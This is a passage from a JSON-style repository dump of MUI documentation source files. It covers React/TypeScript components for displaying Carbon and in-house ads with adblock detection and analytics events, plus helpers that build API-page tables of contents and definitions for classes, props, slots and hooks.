    "content": "import * as React from 'react';\nimport Typography from '@mui/material/Typography';\nimport Box from '@mui/material/Box';\nimport Paper from '@mui/material/Paper';\nimport { useTranslate } from '../i18n';\nimport AdCarbon from './AdCarbon';\nimport AdInHouse from './AdInHouse';\nimport { AdContext, adShape } from './AdManager';\nimport { useAdConfig } from './AdProvider';\n\nfunction PleaseDisableAdblock() {\n  const t = useTranslate();\n\n  return (\n    <Paper\n      component=\"span\"\n      elevation={0}\n      sx={{ display: 'block', p: 1.5, border: '2px solid', borderColor: 'primary.main' }}\n    >\n      <Typography variant=\"body2\" component=\"span\" gutterBottom sx={{ display: 'block' }}>\n        {t('likeMui')}\n      </Typography>\n      <Typography variant=\"body2\" component=\"span\" gutterBottom sx={{ display: 'block' }}>\n        {t('adblock')}\n      </Typography>\n      <Typography variant=\"body2\" component=\"span\" sx={{ display: 'block' }}>\n        {t('thanks')}{' '}\n        <span role=\"img\" aria-label={t('emojiLove')}>\n          ❤️\n        </span>\n      </Typography>\n    </Paper>\n  );\n}\n\nconst disableAd =\n  process.env.NODE_ENV !== 'production' && process.env.ENABLE_AD_IN_DEV_MODE !== 'true';\nconst inHouseAds = [\n  {\n    name: 'templates',\n    link: 'https://mui.com/store/?utm_source=docs&utm_medium=referral&utm_campaign=in-house-templates',\n    img: '/static/ads-in-house/themes-2.jpg',\n    descriptionHeader: 'Premium Templates',\n    description: 'Start your project with the best templates for admins, dashboards, and more.',\n  },\n  {\n    name: 'themes',\n    link: 'https://mui.com/store/?utm_source=docs&utm_medium=referral&utm_campaign=in-house-themes',\n    img: '/static/ads-in-house/themes.png',\n    descriptionHeader: 'Premium Themes',\n    description: 'Kickstart your application development with a ready-made theme.',\n  },\n  {\n    name: 'tidelift',\n    link: 'https://tidelift.com/',\n    img: '/static/ads-in-house/tidelift.png',\n    descriptionHeader: 'MUI for enterprise',\n    description: 'Save time and reduce risk. Managed open source — backed by maintainers.',\n  },\n  {\n    name: 'figma',\n    link: 'https://mui.com/store/items/figma-react/?utm_source=docs&utm_medium=referral&utm_campaign=in-house-figma',\n    img: '/static/ads-in-house/figma.png',\n    descriptionHeader: 'For Figma',\n    description:\n      'A large UI kit with over 600 handcrafted Material UI, MUI X, Joy UI components 🎨.',\n  },\n];\n\nclass AdErrorBoundary extends React.Component<{\n  eventLabel: string | null;\n  children?: React.ReactNode | undefined;\n}> {\n  state = { didError: false };\n\n  static getDerivedStateFromError() {\n    return { didError: true };\n  }\n\n  componentDidCatch() {\n    // send explicit `'null'`\n    const eventLabel = String(this.props.eventLabel);\n    // TODO: Use proper error monitoring service (for example Sentry) instead\n\n    window.gtag('event', 'ad', {\n      eventAction: 'crash',\n      eventLabel,\n    });\n  }\n\n  render() {\n    const { didError } = this.state;\n    const { children } = this.props;\n\n    if (didError) {\n      return null;\n    }\n    return children;\n  }\n}\n\nexport const AD_MARGIN_TOP = 3;\nexport const AD_MARGIN_BOTTOM = 3;\nexport const AD_HEIGHT = 126;\n// Add more height on mobile as the text tends to wrap beyond the image height.\nexport const AD_HEIGHT_MOBILE = 126 + 16;\n\n// https://stackoverflow.com/a/20084661\nfunction isBot() {\n  return /bot|googlebot|crawler|spider|robot|crawling/i.test(navigator.userAgent);\n}\n\nexport function Ad() {\n  const [adblock, setAdblock] = React.useState<null | boolean>(null);\n  const [carbonOut, setCarbonOut] = React.useState<null | boolean>(null);\n\n  const { current: randomAdblock } = React.useRef(Math.random());\n  const { current: randomInHouse } = React.useRef(Math.random());\n\n  let children;\n  let label;\n  // Hide the content to google bot to avoid its indexation.\n  if ((typeof window !== 'undefined' && isBot()) || disableAd) {\n    children = <span />;\n  } else if (adblock) {\n    if (randomAdblock < 0.2) {\n      children = <PleaseDisableAdblock />;\n      label = 'in-house-adblock';\n    } else {\n      children = <AdInHouse ad={inHouseAds[Math.floor(inHouseAds.length * randomInHouse)]} />;\n      label = 'in-house';\n    }\n  } else if (carbonOut) {\n    children = <AdInHouse ad={inHouseAds[Math.floor(inHouseAds.length * randomInHouse)]} />;\n    label = 'in-house-carbon';\n  } else {\n    children = <AdCarbon />;\n    label = 'carbon';\n  }\n\n  const ad = React.useContext(AdContext);\n  const eventLabel = label ? `${label}-${ad.placement}-${adShape}` : null;\n\n  const timerAdblock = React.useRef<ReturnType<typeof setTimeout>>(undefined);\n\n  const checkAdblock = React.useCallback(\n    (attempt = 1) => {\n      if (\n        document.querySelector('.ea-placement') ||\n        document.querySelector('#carbonads') ||\n        document.querySelector('.carbonads') ||\n        carbonOut\n      ) {\n        if (\n          document.querySelector('#carbonads a') &&\n          document.querySelector('#carbonads a')?.getAttribute('href') ===\n            'https://material-ui-next.com/discover-more/backers'\n        ) {\n          setCarbonOut(true);\n        }\n\n        setAdblock(false);\n        return;\n      }\n\n      if (attempt < 30) {\n        timerAdblock.current = setTimeout(() => {\n          checkAdblock(attempt + 1);\n        }, 500);\n      }\n\n      if (attempt > 6) {\n        setAdblock(true);\n      }\n    },\n    [carbonOut],\n  );\n\n  React.useEffect(() => {\n    if (disableAd) {\n      return undefined;\n    }\n    checkAdblock();\n\n    return () => {\n      clearTimeout(timerAdblock.current);\n    };\n  }, [checkAdblock]);\n\n  const { GADisplayRatio } = useAdConfig();\n  React.useEffect(() => {\n    // Avoid an exceed on the Google Analytics quotas.\n    if (Math.random() > (GADisplayRatio ?? 0.1) || !eventLabel) {\n      return undefined;\n    }\n\n    const delay = setTimeout(() => {\n      window.gtag('event', 'ad', {\n        eventAction: 'display',\n        eventLabel,\n      });\n    }, 2500);\n\n    return () => {\n      clearTimeout(delay);\n    };\n  }, [GADisplayRatio, eventLabel]);\n\n  return (\n    <Box\n      component=\"span\"\n      sx={(theme) => ({\n        position: 'relative',\n        display: 'block',\n        mt: AD_MARGIN_TOP,\n        mb: AD_MARGIN_BOTTOM,\n        minHeight: AD_HEIGHT_MOBILE,\n        [theme.breakpoints.up('sm')]: {\n          minHeight: AD_HEIGHT,\n        },\n        ...(adShape === 'image' && {}),\n        ...(adShape === 'inline' && {\n          display: 'flex',\n          alignItems: 'flex-end',\n        }),\n      })}\n      data-ga-event-category=\"ad\"\n      data-ga-event-action=\"click\"\n      data-ga-event-label={eventLabel}\n    >\n      <AdErrorBoundary eventLabel={eventLabel}>{children}</AdErrorBoundary>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "packages/mui-docs/src/Ad/AdCarbon.tsx",
    "content": "import * as React from 'react';\nimport { styled } from '@mui/material/styles';\nimport loadScript from '../utils/loadScript';\nimport AdDisplay from './AdDisplay';\nimport { adBodyImageStyles } from './ad.styles';\n\ntype CarbonAd = {\n  pixel: string;\n  timestamp: string;\n  statimp: string;\n  statlink: string;\n  image: string;\n  company: string;\n  description: string;\n};\nconst CarbonRoot = styled('span')(({ theme }) => {\n  const styles = adBodyImageStyles(theme);\n\n  return {\n    width: '100%',\n    '& > div': {\n      // The isolation logic of carbonads is broken.\n      // Once the script starts loading, it will asynchronous resolve, with no way to stop it.\n      // This leads to duplication of the ad.\n      //\n      // To solve the issue, we only display the #carbonads div\n      display: 'none',\n    },\n    '& #carbonads': {\n      ...styles.root,\n      '& .carbon-img': styles.imgWrapper,\n      '& img': styles.img,\n      '& a, & a:hover': styles.a,\n      '& .carbon-text': styles.description,\n      '& .carbon-poweredby': styles.poweredby,\n    },\n  };\n});\n\nfunction AdCarbonImage() {\n  const ref = React.useRef<HTMLElement>(null);\n\n  React.useEffect(() => {\n    // The isolation logic of carbonads is broken.\n    // Once the script starts loading, it will asynchronous resolve, with no way to stop it.\n    // This leads to duplication of the ad.\n    //\n    // To solve the issue, for example StrictModel double effect execution, we debounce the load action.\n    const load = setTimeout(() => {\n      // The DOM node could have unmounted at this point.\n      if (!ref.current) {\n        return;\n      }\n\n      const script = loadScript(\n        'https://cdn.carbonads.com/carbon.js?serve=CKYIL27L&placement=material-uicom',\n        ref.current,\n      );\n      script.id = '_carbonads_js';\n    });\n\n    return () => {\n      clearTimeout(load);\n    };\n  }, []);\n\n  return <CarbonRoot ref={ref} />;\n}\n\nexport function AdCarbonInline() {\n  const [ad, setAd] = React.useState<CarbonAd | null>(null);\n\n  React.useEffect(() => {\n    let active = true;\n    let attempt = 0;\n\n    (async () => {\n      async function tryFetch() {\n        if (attempt >= 10 || !active) {\n          return null;\n        }\n\n        attempt += 1;\n        let response;\n        try {\n          response = await fetch('https://srv.buysellads.com/ads/CE7DC23W.json');\n        } catch (err) {\n          // Ad blocker crashes this request\n          return null;\n        }\n\n        const data = await response.json();\n        // Inspired by https://github.com/Semantic-Org/Semantic-UI-React/blob/2c7134128925dd831de85011e3eb0ec382ba7f73/docs/src/components/CarbonAd/CarbonAdNative.js#L9\n        const sanitizedAd = data.ads\n          .filter((item: any) => Object.keys(item).length > 0)\n          .filter((item: any) => item.statlink)\n          .filter(Boolean)[0];\n\n        if (!sanitizedAd) {\n          return tryFetch();\n        }\n\n        return sanitizedAd;\n      }\n      const sanitizedAd = await tryFetch();\n      if (active) {\n        setAd(sanitizedAd);\n      }\n    })();\n\n    return () => {\n      active = false;\n    };\n  }, []);\n\n  return ad ? (\n    <React.Fragment>\n      {/* Impression */}\n      <img src={ad.statimp} alt=\"\" style={{ display: 'none' }} />\n      {/* Pixel */}\n      {ad.pixel &&\n        ad.pixel\n          .split('||')\n          .map((pixel, i) => (\n            <img\n              key={i}\n              src={`${pixel.replace('[timestamp]', ad.timestamp)}`}\n              style={{ display: 'none' }}\n              alt=\"\"\n            />\n          ))}\n      <AdDisplay\n        className=\"carbonads\"\n        shape=\"inline\"\n        ad={{\n          link: ad.statlink,\n          img: ad.image,\n          name: ad.company,\n          descriptionHeader: ad.company,\n          description: ad.description,\n          poweredby: 'Carbon',\n          label: 'carbon-demo-inline',\n        }}\n      />\n    </React.Fragment>\n  ) : (\n    <div style={{ minHeight: 52 }} />\n  );\n}\n\nexport default function AdCarbon() {\n  return <AdCarbonImage />;\n}\n"
  },
  {
    "path": "packages/mui-docs/src/Ad/AdDisplay.tsx",
    "content": "import * as React from 'react';\nimport { styled } from '@mui/material/styles';\nimport { useTranslate } from '../i18n';\nimport { adShape } from './AdManager';\nimport { adBodyImageStyles, adBodyInlineStyles } from './ad.styles';\nimport { useAdConfig } from './AdProvider';\n\nconst InlineShape = styled('span')(({ theme }) => {\n  const styles = adBodyInlineStyles(theme);\n  return {\n    ...styles.root,\n    '& img': styles.img,\n    '& a, & a:hover': styles.a,\n    '& .AdDisplay-imageWrapper': styles.imgWrapper,\n    '& .AdDisplay-description': styles.description,\n    '& .AdDisplay-poweredby': styles.poweredby,\n  };\n});\n\nconst ImageShape = styled('span')(({ theme }) => {\n  const styles = adBodyImageStyles(theme);\n  return {\n    ...styles.root,\n    '& img': styles.img,\n    '& a, & a:hover': styles.a,\n    '& .AdDisplay-imageWrapper': styles.imgWrapper,\n    '& .AdDisplay-description': styles.description,\n    '& .AdDisplay-poweredby': styles.poweredby,\n  };\n});\n\nexport interface AdParameters {\n  name: string;\n  link: string;\n  img?: string;\n  descriptionHeader: string;\n  description: string;\n  poweredby: string;\n  label: string;\n}\ninterface AdDisplayProps {\n  ad: AdParameters;\n  className?: string;\n  shape?: 'auto' | 'inline' | 'image';\n}\n\nexport default function AdDisplay(props: AdDisplayProps) {\n  const { ad, className, shape: shapeProp = 'auto' } = props;\n  const t = useTranslate();\n\n  const { GADisplayRatio } = useAdConfig();\n\n  React.useEffect(() => {\n    // Avoid an exceed on the Google Analytics quotas.\n    if (Math.random() > (GADisplayRatio ?? 0.1) || !ad.label) {\n      return;\n    }\n\n    window.gtag('event', 'ad', {\n      eventAction: 'display',\n      eventLabel: ad.label,\n    });\n  }, [GADisplayRatio, ad.label]);\n\n  const shape = shapeProp === 'auto' ? adShape : shapeProp;\n\n  const Root = shape === 'image' ? ImageShape : InlineShape;\n\n  return (\n    <Root className={className}>\n      <a\n        href={ad.link}\n        target=\"_blank\"\n        rel=\"noopener sponsored\"\n        {...(ad.label\n          ? {\n              'data-ga-event-category': 'ad',\n              'data-ga-event-action': 'click',\n              'data-ga-event-label': ad.label,\n            }\n          : {})}\n      >\n        <span className=\"AdDisplay-imageWrapper\">\n          <img height=\"100\" width=\"130\" src={ad.img} alt={ad.name} />\n        </span>\n        <span className=\"AdDisplay-description\">\n          <strong>{ad.descriptionHeader}</strong> - {ad.description}\n        </span>\n      </a>\n      <span className=\"AdDisplay-poweredby\">\n        {t('adPublisher').replace('{{publisher}}', ad.poweredby)}\n      </span>\n    </Root>\n  );\n}\n"
  },
  {
    "path": "packages/mui-docs/src/Ad/AdGuest.tsx",
    "content": "import * as React from 'react';\nimport Portal from '@mui/material/Portal';\nimport { AdContext } from './AdManager';\n\nexport interface AdGuestProps {\n  /**\n   * The querySelector use to target the element which will include the ad.\n   */\n  classSelector?: string;\n  children?: React.ReactNode | undefined;\n}\n\nfunction AdGuest(props: AdGuestProps) {\n  const { classSelector = '.description', children } = props;\n  const ad = React.useContext(AdContext);\n\n  if (!ad.element) {\n    return null;\n  }\n\n  return (\n    <Portal\n      container={() => {\n        const element = document.querySelector(classSelector);\n\n        if (element) {\n          if (ad.element === element) {\n            element.classList.add('ad');\n          } else {\n            element.classList.remove('ad');\n          }\n        }\n\n        return ad.element;\n      }}\n    >\n      {children}\n    </Portal>\n  );\n}\n\nexport { AdGuest };\n"
  },
  {
    "path": "packages/mui-docs/src/Ad/AdInHouse.tsx",
    "content": "import AdDisplay, { AdParameters } from './AdDisplay';\n\nexport default function AdInHouse(props: { ad: Omit<AdParameters, 'poweredby' | 'label'> }) {\n  const { ad } = props;\n\n  return <AdDisplay ad={{ poweredby: 'MUI', label: `in-house-${ad.name}`, ...ad }} />;\n}\n"
  },
  {
    "path": "packages/mui-docs/src/Ad/AdManager.tsx",
    "content": "import * as React from 'react';\nimport { unstable_useEnhancedEffect as useEnhancedEffect } from '@mui/material/utils';\n\ntype AdPortal = {\n  placement: 'body-top';\n  element: Element | null;\n};\n\ninterface AdManagerProps {\n  /**\n   * The querySelector use to target the element which will include the ad.\n   */\n  classSelector?: string;\n  children?: React.ReactNode | undefined;\n}\n\nexport const AdContext = React.createContext<AdPortal>({ placement: 'body-top', element: null });\n\n// Persisted for the whole session.\n// The state is used to use different ad placements.\nconst randomSession = Math.random();\n\n// Distribution profile:\n// 20% body-inline\n// 80% body-image\nexport const adShape = randomSession < 0.2 ? 'inline' : 'image';\n\nexport function AdManager({ classSelector = '.description', children }: AdManagerProps) {\n  const [portal, setPortal] = React.useState<AdPortal>({ placement: 'body-top', element: null });\n\n  useEnhancedEffect(() => {\n    const container = document.querySelector(classSelector);\n    setPortal({ placement: 'body-top', element: container });\n  }, [classSelector]);\n\n  return <AdContext.Provider value={portal}>{children}</AdContext.Provider>;\n}\n"
  },
  {
    "path": "packages/mui-docs/src/Ad/AdProvider.tsx",
    "content": "import * as React from 'react';\n\nexport interface AdConfig {\n  /**\n   * The ratio of \"ad display\" event sent to Google Analytics.\n   * Used to avoid an exceed on the Google Analytics quotas.\n   * @default 0.1\n   */\n  GADisplayRatio: number;\n}\n\nexport interface AdProviderProps {\n  children: React.ReactNode;\n  config?: Partial<AdConfig>;\n}\n\nconst AdConfigContext = React.createContext<AdConfig | null>(null);\n\nexport function AdProvider(props: AdProviderProps) {\n  const { children, config } = props;\n\n  const value = React.useMemo(() => ({ GADisplayRatio: 0.1, ...config }), [config]);\n\n  return <AdConfigContext.Provider value={value}>{children}</AdConfigContext.Provider>;\n}\n\nexport function useAdConfig() {\n  const config = React.useContext(AdConfigContext);\n  if (!config) {\n    throw new Error(\n      'Could not find docs ad config context value; please ensure the component is wrapped in a <AdProvider>',\n    );\n  }\n  return config;\n}\n"
  },
  {
    "path": "packages/mui-docs/src/Ad/ad.styles.ts",
    "content": "import { alpha, Theme } from '@mui/material/styles';\n\nexport const adBodyImageStyles = (theme: Theme) => ({\n  root: {\n    display: 'block',\n    overflow: 'hidden',\n    border: '1px dashed',\n    borderColor: (theme.vars || theme).palette.divider,\n    borderRadius: (theme.vars || theme).shape.borderRadius,\n    padding: 8,\n    paddingLeft: 8 + 130,\n    [theme.breakpoints.up('sm')]: {\n      padding: 12,\n      paddingLeft: 12 + 130,\n    },\n  },\n  imgWrapper: {\n    float: 'left',\n    marginLeft: -130,\n    width: 130,\n    height: 100,\n  },\n  img: {\n    verticalAlign: 'middle',\n  },\n  a: {\n    color: (theme.vars || theme).palette.text.primary,\n    textDecoration: 'none',\n  },\n  description: {\n    ...theme.typography.body2,\n    [theme.breakpoints.up('sm')]: {\n      ...theme.typography.body1,\n    },\n    display: 'block',\n    marginLeft: theme.spacing(1.5),\n  },\n  poweredby: {\n    ...theme.typography.caption,\n    marginLeft: theme.spacing(1.5),\n    color: (theme.vars || theme).palette.text.secondary,\n    display: 'block',\n    marginTop: theme.spacing(0.5),\n    fontWeight: theme.typography.fontWeightRegular,\n  },\n});\n\nexport const adBodyInlineStyles = (theme: Theme) => {\n  const baseline = adBodyImageStyles(theme);\n\n  return {\n    ...baseline,\n    root: {\n      display: 'block',\n      paddingTop: 8,\n    },\n    imgWrapper: {\n      display: 'none',\n    },\n    description: {\n      ...baseline.description,\n      marginLeft: 0,\n      '&::before': {\n        border: '1px solid #3e8e41',\n        color: '#3e8e41',\n        marginRight: 6,\n        padding: '1px 5px',\n        borderRadius: 3,\n        content: '\"Ad\"',\n        fontSize: theme.typography.pxToRem(14),\n      },\n      '&::after': {\n        // Link\n        marginLeft: 4,\n        content: '\"Get started\"',\n        // Style taken from the Link component & MarkdownElement.\n        color: (theme.vars || theme).palette.primary[600],\n        textDecoration: 'underline',\n        textDecorationColor: alpha(theme.palette.primary.main, 0.4),\n        ...theme.applyStyles('dark', {\n          color: (theme.vars || theme).palette.primary[300],\n        }),\n      },\n    },\n    poweredby: {\n      ...baseline.poweredby,\n      marginTop: 2,\n      marginLeft: 0,\n    },\n    link: {\n      display: 'none',\n    },\n  };\n};\n"
  },
  {
    "path": "packages/mui-docs/src/Ad/index.ts",
    "content": "/// <reference types=\"gtag.js\" />\n\nexport * from './Ad';\nexport * from './AdManager';\nexport * from './AdProvider';\nexport * from './AdGuest';\nexport { AdCarbonInline } from './AdCarbon';\n"
  },
  {
    "path": "packages/mui-docs/src/ApiPage/ApiWarningAlert.tsx",
    "content": "import * as React from 'react';\nimport Alert from '@mui/material/Alert';\nimport WarningRoundedIcon from '@mui/icons-material/WarningRounded';\n\ninterface ApiWarningAlertProps {\n  children?: React.ReactNode;\n  className?: string;\n}\n\nexport function ApiWarningAlert({ children, className }: ApiWarningAlertProps) {\n  return (\n    <Alert\n      severity=\"warning\"\n      className={className}\n      icon={<WarningRoundedIcon fontSize=\"small\" />}\n      sx={{ fontSize: '0.875rem', mt: '12px' }}\n    >\n      {children}\n    </Alert>\n  );\n}\n"
  },
  {
    "path": "packages/mui-docs/src/ApiPage/definitions/classes.ts",
    "content": "import type { PropsTranslations, ComponentApiContent } from '@mui-internal/api-docs-builder';\nimport { kebabCase } from 'es-toolkit/string';\nimport type { ClassDefinition, BaseCssTOCParams } from './types';\nimport type { TableOfContentsParams } from '../types';\n\nexport const getClassesToc = ({\n  classes,\n  t,\n  hash,\n  componentName,\n}: BaseCssTOCParams & {\n  classes: ClassDefinition[];\n  componentName?: string;\n}): TableOfContentsParams[] =>\n  !classes || classes.length === 0\n    ? []\n    : [\n        {\n          text: t('api-docs.classes'),\n          hash: hash ?? 'classes',\n          children: [\n            ...classes.map(({ key, hash: classHash }) => ({\n              text: key,\n              hash: componentName ? `${kebabCase(componentName)}-classes-${key}` : classHash,\n              children: [],\n            })),\n          ],\n        },\n      ];\n\nexport interface GetClassApiDefinitionsParams {\n  componentClasses: ComponentApiContent['classes'];\n  classDescriptions: PropsTranslations['classDescriptions'];\n  componentName: string;\n}\n\nconst errorMessage = (componentName: string, className: string, slotName: string): string =>\n  `${className} description from component ${componentName} should include ${slotName} since its definition includes \"{{${slotName}}}\"`;\n\nexport function getClassApiDefinitions(params: GetClassApiDefinitionsParams): ClassDefinition[] {\n  const { componentClasses, classDescriptions, componentName } = params;\n\n  return componentClasses.map((classDefinition) => {\n    const {\n      conditions,\n      nodeName,\n      deprecationInfo,\n      description: translatedDescription,\n    } = classDescriptions[classDefinition.key] ?? {}; // Not all classes have a description.\n\n    let description = translatedDescription ?? classDefinition.description;\n\n    if (description.includes('{{conditions}}')) {\n      if (!conditions) {\n        throw new Error(errorMessage(componentName, classDefinition.className, 'conditions'));\n      }\n      description = description.replace(/{{conditions}}/, conditions);\n    }\n\n    if (description.includes('{{nodeName}}')) {\n      if (!nodeName) {\n        throw new Error(errorMessage(componentName, classDefinition.className, 'nodeName'));\n      }\n      description = description.replace(/{{nodeName}}/, nodeName);\n    }\n\n    return {\n      ...classDefinition,\n      description,\n      deprecationInfo,\n      hash: `${kebabCase(componentName)}-classes-${classDefinition.className}`,\n    };\n  });\n}\n"
  },
  {
    "path": "packages/mui-docs/src/ApiPage/definitions/index.ts",
    "content": "export * from './classes';\nexport * from './properties';\nexport * from './slots';\nexport * from './types';\n"
  },
  {
    "path": "packages/mui-docs/src/ApiPage/definitions/properties.ts",
    "content": "import type {\n  PropsTableItem,\n  PropsTranslations,\n  HookApiContent,\n  HooksTranslations,\n} from '@mui-internal/api-docs-builder';\nimport { kebabCase } from 'es-toolkit/string';\nimport type { BaseCssTOCParams, PropertyDefinition } from './types';\nimport type { TableOfContentsParams } from '../types';\n\ntype GetPropertiesTocParams = BaseCssTOCParams &\n  (\n    | {\n        properties: Array<Pick<PropertyDefinition, 'propName' | 'hash'>>;\n        componentProps?: never;\n        componentName?: never;\n      }\n    | { componentProps: Record<string, unknown>; componentName: string; properties?: never }\n  );\n\nexport const getPropertiesToc = ({\n  properties,\n  componentProps,\n  componentName,\n  inheritance,\n  themeDefaultProps,\n  t,\n  hash,\n}: GetPropertiesTocParams): TableOfContentsParams => {\n  const resolvedProperties =\n    properties ??\n    Object.keys(componentProps).map((propName) => ({\n      propName,\n      hash: `${kebabCase(componentName)}-prop-${propName}`,\n    }));\n\n  return {\n    text: t('api-docs.props'),\n    hash: hash ?? '',\n    children: [\n      ...resolvedProperties.map(({ propName, hash: propertyHash }) => ({\n        text: propName,\n        hash: propertyHash,\n        children: [],\n      })),\n      ...(inheritance\n        ? [{ text: t('api-docs.inheritance'), hash: 'inheritance', children: [] }]\n        : []),\n      ...(themeDefaultProps\n        ? [{ text: t('api-docs.themeDefaultProps'), hash: 'theme-default-props', children: [] }]\n        : []),\n    ],\n  };\n};\n\ninterface GetPropsApiDefinitionsParams {\n  componentName: string;\n  properties: {\n    [name: string]: PropsTableItem & {\n      /**\n       * Only to be compatible the time of the migration for X\n       */\n      isProPlan?: boolean;\n      /**\n       * Only to be compatible the time of the migration for X\n       */\n      isPremiumPlan?: boolean;\n    };\n  };\n  propertiesDescriptions: PropsTranslations['propDescriptions'];\n  /**\n   * Add indicators that the properties is optional instead of showing it is required.\n   */\n  showOptionalAbbr?: boolean;\n}\n\nexport function getPropsApiDefinitions(params: GetPropsApiDefinitionsParams): PropertyDefinition[] {\n  const { properties, propertiesDescriptions, componentName, showOptionalAbbr = false } = params;\n\n  return Object.entries(properties).map(([propName, propData]) => {\n    const isRequired = propData.required && !showOptionalAbbr;\n    const isOptional = !propData.required && showOptionalAbbr;\n\n    const isDeprecated = propData.deprecated;\n    const deprecationInfo = propData.deprecationInfo;\n\n    const typeName = propData.type?.description || propData.type.name;\n    const propDefault = propData.default;\n    const propDescription = propertiesDescriptions[propName];\n\n    const additionalInfo = (\n      ['cssApi', 'sx', 'slotsApi', 'joy-size', 'joy-color', 'joy-variant'] as const\n    ).filter((key) => propData.additionalInfo?.[key]);\n\n    const seeMoreDescription =\n      propDescription?.seeMoreText &&\n      propData.seeMoreLink &&\n      propDescription.seeMoreText.replace(\n        '{{link}}',\n        `<a href=\"${propData.seeMoreLink.url}\">${propData.seeMoreLink.text}</a>`,\n      );\n\n    const signature = propData.signature?.type;\n    const signatureArgs = propData.signature?.describedArgs?.map((argName) => ({\n      argName,\n      argDescription: propertiesDescriptions[propName].typeDescriptions?.[argName].description,\n      argType: propertiesDescriptions[propName].typeDescriptions?.[argName]?.argType,\n      argTypeDescription:\n        propertiesDescriptions[propName].typeDescriptions?.[argName]?.argTypeDescription,\n    }));\n    const signatureReturnDescription =\n      propData.signature?.returned &&\n      propertiesDescriptions[propName].typeDescriptions?.[propData.signature.returned]\n        .argTypeDescription;\n\n    return {\n      hash: `${kebabCase(componentName)}-prop-${propName}`,\n      propName,\n      seeMoreDescription,\n      description: propDescription?.description,\n      requiresRef: propDescription?.requiresRef,\n      isOptional,\n      isRequired,\n      isDeprecated,\n      deprecationInfo,\n      typeName,\n      propDefault,\n      additionalInfo,\n      signature,\n      signatureArgs,\n      signatureReturnDescription,\n      isProPlan: propData.isProPlan,\n      isPremiumPlan: propData.isPremiumPlan,\n    };\n  });\n}\n\ninterface HookCommonApiParams {\n  hookName: string;\n  showOptionalAbbr?: boolean;\n}\n\ninterface GetHookReturnApiDefinitionsParams extends HookCommonApiParams {\n  kind: 'return';\n  properties: HookApiContent['returnValue'];\n  translations: HooksTranslations['returnValueDescriptions'];\n}\n\ninterface GetHookParametersApiDefinitions extends HookCommonApiParams {\n  kind: 'parameters';\n  properties: HookApiContent['parameters'];\n  translations: HooksTranslations['parametersDescriptions'];\n}\n\nexport function getHookApiDefinitions(\n  params: GetHookReturnApiDefinitionsParams | GetHookParametersApiDefinitions,\n): PropertyDefinition[] {\n  const { properties, translations, hookName, kind, showOptionalAbbr } = params;\n\n  return Object.entries(properties).map(([propName, propData]) => {\n    const isRequired = propData.required && !showOptionalAbbr;\n    const isOptional = !propData.required && showOptionalAbbr;\n\n    const isDeprecated = propData.deprecated;\n    const deprecationInfo = propData.deprecationInfo;\n\n    const typeName = propData.type?.description || propData.type.name;\n    const propDefault = propData.default;\n    const propDescription = translations[propName];\n\n    return {\n      hash: `${kebabCase(hookName)}-${kind === 'parameters' ? 'parameters' : 'return-value'}-${propName}`,\n      propName,\n      description: propDescription?.description,\n      isRequired,\n      isOptional,\n      isDeprecated,\n      deprecationInfo,\n      typeName,\n      propDefault,\n    };\n  });\n}\n"
  },
  {
    "path": "packages/mui-docs/src/ApiPage/definitions/slots.ts",
    "content": "import type { PropsTranslations, ComponentApiContent } from '@mui-internal/api-docs-builder';\nimport type { BaseCssTOCParams, SlotDefinition } from './types';\nimport type { TableOfContentsParams } from '../types';\n\nexport interface GetSlotsApiDefinitionsParams {\n  componentSlots: ComponentApiContent['slots'];\n  slotDescriptions: PropsTranslations['slotDescriptions'];\n  componentName: string;\n}\n\nexport function getSlotsApiDefinitions(params: GetSlotsApiDefinitionsParams): SlotDefinition[] {\n  const { componentSlots, slotDescriptions, componentName } = params;\n\n  if (!componentSlots) {\n    return [];\n  }\n  return componentSlots.map(({ class: className, name, default: defaultValue }) => {\n    return {\n      description: slotDescriptions?.[name],\n      className,\n      name,\n      defaultValue,\n      hash: `${componentName}-css-${className ?? name}`,\n    };\n  });\n}\n\nexport const getSlotsToc = ({\n  slots,\n  t,\n  hash,\n}: BaseCssTOCParams & {\n  slots: SlotDefinition[];\n}): TableOfContentsParams[] =>\n  !slots || slots.length === 0\n    ? []\n    : [\n        {\n          text: t('api-docs.slots'),\n          hash: hash ?? 'slots',\n          children: [\n            ...slots.map(({ name, hash: slotHash }) => ({\n              text: name,\n              hash: slotHash,\n              children: [],\n            })),\n          ],\n        },\n      ];\n"
  },
  {
    "path": "packages/mui-docs/src/ApiPage/definitions/types.ts",
    "content": "import type { Translate } from '../../i18n';\n\nexport type ClassDefinition = {\n  className: string;\n  key: string;\n  hash: string;\n  description?: string;\n  isGlobal?: boolean;\n  isDeprecated?: boolean;\n  deprecationInfo?: string;\n};\n\nexport type PropertyDefinition = {\n  additionalInfo?: string[];\n  hash: string;\n  deprecationInfo?: string;\n  description?: string;\n  isDeprecated?: boolean;\n  isOptional?: boolean;\n  isRequired?: boolean;\n  propDefault?: string;\n  propName: string;\n  requiresRef?: boolean;\n  seeMoreDescription?: string;\n  signature?: string;\n  signatureArgs?: {\n    argName: string;\n    argDescription?: string;\n    argType?: string;\n    argTypeDescription?: string;\n  }[];\n  signatureReturnDescription?: string;\n  typeName: string;\n  /**\n   * Used by MUI X interface documentation\n   */\n  isProPlan?: boolean;\n  /**\n   * Used by MUI X interface documentation\n   */\n  isPremiumPlan?: boolean;\n};\n\nexport type SlotDefinition = {\n  className: string | null;\n  hash: string;\n  description?: string;\n  name: string;\n  defaultValue?: string;\n};\n\nexport type BaseCssTOCParams = {\n  inheritance?: boolean;\n  themeDefaultProps?: boolean;\n  t: Translate;\n  hash?: string;\n};\n"
  },
  {
    "path": "packages/mui-docs/src/ApiPage/index.ts",
    "content": "export * from './ApiWarningAlert';\nexport type { LayoutStorageKeys, TableOfContentsParams } from './types';\n"
  },
  {
    "path": "packages/mui-docs/src/ApiPage/list/ClassesList.tsx",
